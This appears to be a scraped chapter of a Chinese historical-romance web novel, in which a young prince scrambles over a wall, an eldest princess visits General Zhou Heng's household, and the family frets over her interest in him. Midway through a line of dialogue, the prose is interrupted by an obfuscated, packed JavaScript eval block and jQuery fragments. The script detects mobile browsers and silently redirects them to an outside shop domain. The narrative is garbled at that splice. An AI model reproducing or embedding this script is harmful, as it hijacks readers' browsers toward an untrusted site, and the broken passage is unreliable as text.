一行人走出李慕瑶的院子,周珩回头看了一眼跟在身后的公孙述,面无表情,冷冷问道:“你很闲?”

    公孙述轻笑一笑,展开折扇,一脸堆笑道:“本公子今日确实无事。”

    周珩随即瞪了他一眼,没再言语,转身径直往李府的花园走去。

    公孙述见状,用扇子指着大门口的方向喊道:“不对吧?走错方向了吧?大门口在这边!”

    “谁说我要去大门口?”周珩没回头,继续向前走去。

    公孙述一脸迷惑,却没再问,继续跟着周珩一道同去。

    然而,还未走出几丈,便见周珩随意轻点脚尖,身形一跃而起,纵身径直翻墙而过。

    亦武转身向公孙述主仆二人轻轻颔首道别,随即跟在周珩身后,亦是脚尖飘然点地,随后一跃而过。

    不会武功的公孙述僵在原地,一脸震惊,目瞪口呆,半晌后才回过神来,冲着墙面大喊道,“周子安!这就是你口中所说的近路?!”

    “小王爷,那边有一架梯子!”公孙述身后的小厮小柴胡此时欣喜大喊道。

    公孙述一脸不悦,没好气地说道,“本公子看见了!”

    小柴胡将梯子扶正,示意公孙述上去。

    公孙述走到扶梯旁,望着二丈高的墙头,不禁叹了一口气,心道:本公子什么时候走过这种路?!

    此时却见小柴胡一脸殷勤,笑着说道:“小王爷,小心些。”

    公孙述依旧没好气:“用你说?!”

    少顷,便见公孙述颤颤巍巍地爬上了二丈高,手脚并用地横在了墙头上,他情不自禁地向下望去,随即又迅速回过头来。

    属实有些高。

    他小心翼翼地探出头去,寻找另一面墙的梯子,又手脚并用地调转身体,刚准备下去,却见地上的小柴胡亦是一跃而起,轻快地向对面飞去。

    “小柴胡!你、你、你!”公孙述看着小柴胡从自己眼前一跃而过,心中不禁一阵气恼,嘴里不停念着:“等我下去定要收拾你。早知道有今天就学点轻功了。”

    哎,大意了。

    半晌,费尽九牛二虎之力,公孙述终于从墙头上顺利爬下来,彼时,已是一身冷汗了。

    正当他气恼地拍着自己身上的灰土时,忽然从身后传来一声轻柔的声音:“请问你是……?”

    公孙述一惊,随后猛然转过身去。

    只见周望舒和丫鬟亦雯站在他的对面,正一脸愕然地望着他。

    片刻后,周望舒才开口,满脸诧异地问道:“小王爷?你怎会……”

    从墙上爬下来?

    这句话憋在周望舒的心里,没有问出来。

    公孙述顿时无所适从,僵在原地,倏然,他回过神来,迅速地整理了自己的衣冠。

    真没料到会在此处遇见周姑娘,还是在自己如此狼狈的情况下。

    公孙述心中顿时悔不当初。

    真是多余来这一趟!

    没事非得凑什么热闹?!

    如今好了,曾经的玉树临风、风度翩翩的形象毁于一旦。

    公孙述咬着牙,强装镇定,一脸尴尬地说道:“好巧啊,周姑娘,我们又见面了。”

    周望舒仍是一脸疑惑,温温徐徐说道:“不巧,这是我家。”

    公孙述尴尬地摸摸头,理理衣袖,好似漫不经心,却又急急忙忙地开口说道:“啊……是……哦,我是来找子安的,刚刚我们一同去看淼淼,后来听闻长公主来周府了,我……我本是打算去看看我的堂妹的,呵呵……”

    公孙述一脸局促,双手来回调换位置,不知道放哪里最合适。

    多余长一双手。

    只见周望舒若有所思地点了点头,说道:“原来如此……”

    她伸出手引向一侧,道,“那你随我来吧。”

    “多谢周姑娘。”公孙述深吸了一口气,颔首说道。

    随即,二人一同往厅堂方向走去。

    来到堂前时,只见周珩与沈思瑜已换好冠服,正俯身行礼道:“参见长公主,公主大驾光临,未能相迎,请长公主恕罪!”

    长公主公孙锦见到周珩,一脸欢颜,顾不得其他,兀自迎了上去,“周将军不必拘礼,快快请起吧!”

    公孙锦欲上前去搀扶周珩,周珩却是刚好挪开,转身搀扶起沈思瑜站起身来。

    随后,周珩示意道:“长公主请上座。”

    公孙锦满脸堆笑,随即走上前坐在了主座上。未及开口,便见沈思瑜神色郑重,颔首问道:“公主驾临寒舍,不知有何吩咐?”

    只见公孙锦笑意盈盈地说道:“沈夫人,快别这么说,什么吩咐不吩咐的,我是奉父皇之命,前来向周将军赔罪的,说是前些日子,父皇因朝堂之事,差点冤枉了周将军,托我过来跟周将军说和,千万莫要罪怪。”

    周珩一脸严肃,俯身行礼道:“公主说笑,微臣岂敢怪罪陛下?雷霆雨露,俱是君恩,岂有罪怪只说?”

    公孙锦弯弯一笑,说道:“听到周将军如此说,我便放心了,也可向父皇交差了。”

    这时,只见公孙述与周望舒一同迎面走入堂内。

    周望舒盈盈一拜,向公孙锦行礼道:“拜见长公主殿下,公主千岁千岁千千岁。”

    公孙锦见状,当即站起身,兴奋地握住周望舒的手,问道:“你便是望舒姐姐吧?”

    周望舒一时惊愕,看了一眼公孙锦,随即又低下头去,盈盈说道:“公主乃金枝玉叶,臣女卑微,岂敢僭越与公主姐妹相称?”

    公孙锦嘿嘿一笑道:“望舒姐姐不要客气,今后叫我锦儿便是。我一见你,便心生欢喜,今后,我常来与你说话可好?”

    周望舒眉眼低垂,神色端凝,说道:“公主若不嫌弃,望舒随时静候大驾。”

    “好,那就这么说定了!我今后定常来看望望舒姐姐。”公孙锦满脸喜色。

    随后只见公孙述双手作揖,假模假样地行了一礼道:“堂妹怎的今日肯出宫来了?”

    公孙锦却是惊讶道:“堂哥?你怎么在这?”

    “我与周将军相识多年,今日是来寻他的。”

    “你们?竟早就认识?”公孙锦一脸难以置信。

    “很奇怪吗?”公孙述更是疑惑。

    “当然奇怪!周将军堂堂一国功臣,南祁大名鼎鼎的镇北侯,而你嘛……不好说……”公孙锦打量着公孙述,撇着嘴摇了摇头,继续说道:“再说,周将军,一表人才,相貌堂堂,正气凛然,怎会同你交好?”

    公孙述脸色一沉,蹙眉道:“堂妹这是什么话?我堂堂豫王府小王爷,我差哪了我?!难道你堂哥我,就不是一表人才、相貌堂堂了吗?!”

    “

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17961738|210573||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    好吧好吧。”坐回主座上的公孙锦不想纠结,只是继续将双眼放在周珩身上,眉眼随即情不自禁地弯了起来,笑嘻嘻地说道:“好看好看!”

    周珩却是始终低着头,面色清冷,不言不语。

    彼时的公孙述却是气的展开折扇,呼呼直扇风。

    站在他身旁的周望舒一时受凉,不禁咳嗽了两声。

    公孙述一惊,急忙转头问道:“周姑娘,你怎么了?你没事吧?”

    “回小王爷,望舒没事,小王爷不要再扇风便好。”周望舒柔声答道。

    公孙述立马收起折扇,深吸了一口气,只好将气往心中咽了下去,只一脸阴沉地站在原地。

    场面一时尴尬。

    沈思瑜见状,欲解围,急忙寒暄道:“哎哟,这快到午时了,长公主不如留下来,一同用个午膳吧。”

    她心道:一般情况下,说这种话时,客人便会识趣地说:不了不了,那我便先不打扰了。

    没成想,长公主闻言,一点没有拒绝的意思,却是一脸兴奋,只见她兴高采烈地说道:“那敢情好哇!我求之不得呢!”

    沈思瑜与周珩对视一眼,僵在原地,一时不知该如何接话。

    而此时的周珩嘴巴已然抿成一条刀片,神色复杂,随即又不动声色地迅速恢复了沉稳严肃的表情。

    场面一度变得更尴尬了。

    周珩身侧的公孙述此时一脸惊讶,却又带着些许兴奋,心道:“还能这样?”

    受教了。

    *

    从那以后,公孙锦便隔三差五的过来镇北侯府做客。

    名义上说是与周望舒说话,实则……走着走着便走到了周珩的院子。

    巧的是,从那以后,公孙述也经常来镇北侯府做客。

    不巧的是,从那以后,周珩也隔三差五地忙了起来,一忙忙到掌灯时分。

    后来,长公主每每来镇北侯府,却是每每见不着周珩,心中有气,便去找了皇帝,向皇帝发了好大一通脾气,哭闹着诉告周将军太忙了,嫌弃皇帝为何给他分那么多事务。

    皇帝无计可施,便只好下令,除去正常的轮休日外,还特许周珩每隔两日,便可休息半天。周珩便只好让杨安替他分担了诸多事务。

    这日下午,正值周珩休沐,一家人吃完午饭,在厅堂上闲聊。

    只见周望舒一脸忧虑,道:“哥,长公主好像对你有意啊。”

    “我知道。”周珩面色如常,冷静说道。

    闻言,周望舒不禁抱怨道:“你不能只是知道啊,你打算怎么办?如今你倒是可以以公务为由,时常不在家,可她隔两天便来一趟,我……我有些力不从心,招架不住啊哥哥。”

    这多半个月来,每每周珩不在府内时,公孙锦便找周望舒说话,偏偏二人又话不投机,公孙锦便只好让周望舒为她把脉,可皇家后代,哪里轮得到她来把脉,周望舒每每推脱,推脱不掉时又不敢随意开口,当真是时时谨小慎微,生怕说错一句。

    这时,沈思瑜也蹙眉道:“我只说一点,你可不能对不起淼淼啊。”

    周珩一脸无奈,正要开口说话,便听大门口方向,一阵清亮女声传来:“对不起我什么?谁对不起我?”

    三人同时抬头望去,只见李慕瑶一只手拄着拐杖,身后小满的双手中各提了一个食盒,向这边走来。